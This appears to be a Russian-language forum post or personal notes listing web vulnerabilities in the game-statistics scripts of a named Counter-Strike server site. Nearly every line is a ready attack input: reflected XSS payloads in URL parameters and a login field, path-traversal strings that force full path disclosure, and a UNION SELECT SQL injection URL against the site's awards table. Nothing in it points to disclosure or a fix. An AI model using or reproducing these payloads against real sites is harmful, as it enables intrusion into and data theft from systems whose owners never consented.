XSS пассивный
stats.php?game=<script>alert();</script>
stats.php?q=search&query=%22%3E%3Cscript%3Ealert();</script>&qtype=name
Полное раскрытие пути
stats.php?game=../..
[url]http://cs.shadowzone.ru/stats/stats.php?game=cstrike&q=player&uid=cec315cf55f1af878ce9cd8b852dc4fd&section=weapons&sort=-1&dir=-1[/url]
[url]http://cs.shadowzone.ru/stats/stats.php?game=cstrike&q=player&uid=cec315cf55f1af878ce9cd8b852dc4fd&section=maps&sort=map&dir=-1[/url]

пассивный SQL-inj
stats.php?game=cstrike&q=player&uid=верный юид&section=weapons&sort=weapon_kills_percent&dir=asc1
[url]http://cs.shadowzone.ru/stats/stats.php?game=cstrike&q=player&uid=cec315cf55f1af878ce9cd8b852dc4fd&section=weapons&sort=weapon_kills_percent&dir=asc1[/url]

Что-то наклёвывается SQL
[url]http://cs.shadowzone.ru/stats/stats.php?game=cstrike&q=awards&month=2&year=-1%20UNION%20SELECT%20award_month,%20award_month%20FROM%20ucstats_awards%20WHERE%20GAME=cstrike%20AND%20award_year=2005%20ORDER%20BY%20award_month%20DESC/*[/url]

stats.php?game=cstrike&q=awards&month=2&year=[SQL]

XSS пассивный
hlstats.php?mode=admin в поле UserName вписать: "><script>
hlstats.php?mode=actioninfo&action=Dropped_The_Bomb<script>alert()</script>&game=css
hlstats.php?mode=mapinfo&map=<script>alert()</script>&game=css
hlstats.php?mode=search&q="><script>alert()</script><a%20scr="&st=player&game=css
hlstats.php?mode=search&q=2&st="><script>alert()</script><a%20scr="&game=css&sort=name1

Полное раскрытие пути
imgskill.php?plrid=9&w=0